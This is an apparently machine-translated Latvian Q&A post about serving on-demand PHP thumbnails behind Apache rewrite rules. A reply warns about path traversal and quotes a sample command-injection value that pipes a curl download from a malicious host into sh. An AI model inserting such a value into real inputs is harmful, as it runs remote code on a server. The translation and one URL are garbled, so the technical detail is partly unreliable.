Aurora Borealis / Ziemeļblāzma LIVE!

Manai komandai ir PHP rakstīts pieteikums. Lielākā daļa pieprasījumu tiek pārrakstīti uz mūsu index.php failu, izmantojot zemāk esošo nosacījumu Apache .conf

RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ /index.php [QSA,L] 

Attiecībā uz sīktēliem es domāju, ka būtu ieteicams izmantot Apache, lai pārbaudītu šos statiskos failus, jo šķiet, ka tas vienmēr veic šo failu pārbaudi.

  1. Ja sīktēls pastāv, Apache kalpo sīktēlam, kā tas ir norādīts faila struktūrā.
  2. Ja sīktēla nav, pieprasījums tiks vienkārši pārrakstīts uz index.php un novirzīts uz kontrolieri, kurš izmanto to pašu precīzo URI maršrutu. Tad tas izveidos sīktēlu un nosūtīs attēlu atpakaļ tajā pašā pieprasījumā, izmantojot xsendfile.

Pārbaudot, vai sīktēls pastāv (1) vai ir izveidots (2), attēls pārlūkprogrammā tiek saglabāts kešatmiņā kā parasts statisks fails un nosūtīts ar to pašu ETAG.

Visi sākotnējie sīktēlu attēli atrodas serverī /mnt.

Vienīgā problēma, kas man bija, bija grūti pārdēvēt failus, un failu struktūra tika atdota. https://example.com//images/

Ja sīktēls nepastāv, tad kontrolieris nolasīs lai atrastu sākotnējo attēlu, lai izveidotu sīktēlu ar

https://example.com/100x100/images/12152018/renovation/0001.png Tas ir vai nu statisks fails, vai kontroliera maršruts.

Vai tā būtu slikta ideja? Vai esat drošs? Kāda būtu labākā prakse?

  • Man nav pilnīgas atbildes, bet es tikai gribēju pieminēt: jums vajadzētu sagaidīt, ka cilvēki URL ievietos ļaunprātīgas virknes, lai mēģinātu iegūt piekļuvi, kurai viņiem nevajadzētu būt. Pārliecinieties, ka viņi nevar izmantot .. lai nokļūtu /un ka jūs dezinficējat ievadi, lai viņi nevarētu uzlauzt jūsu serveri ar kaut ko līdzīgu'; curl http://[malicious] | sh. Kāds cits varēs pieskaņoties ar pilnīgāku risinājumu.

strādāja par jums: Charles Robertson | Vēlies ar mums sazināties?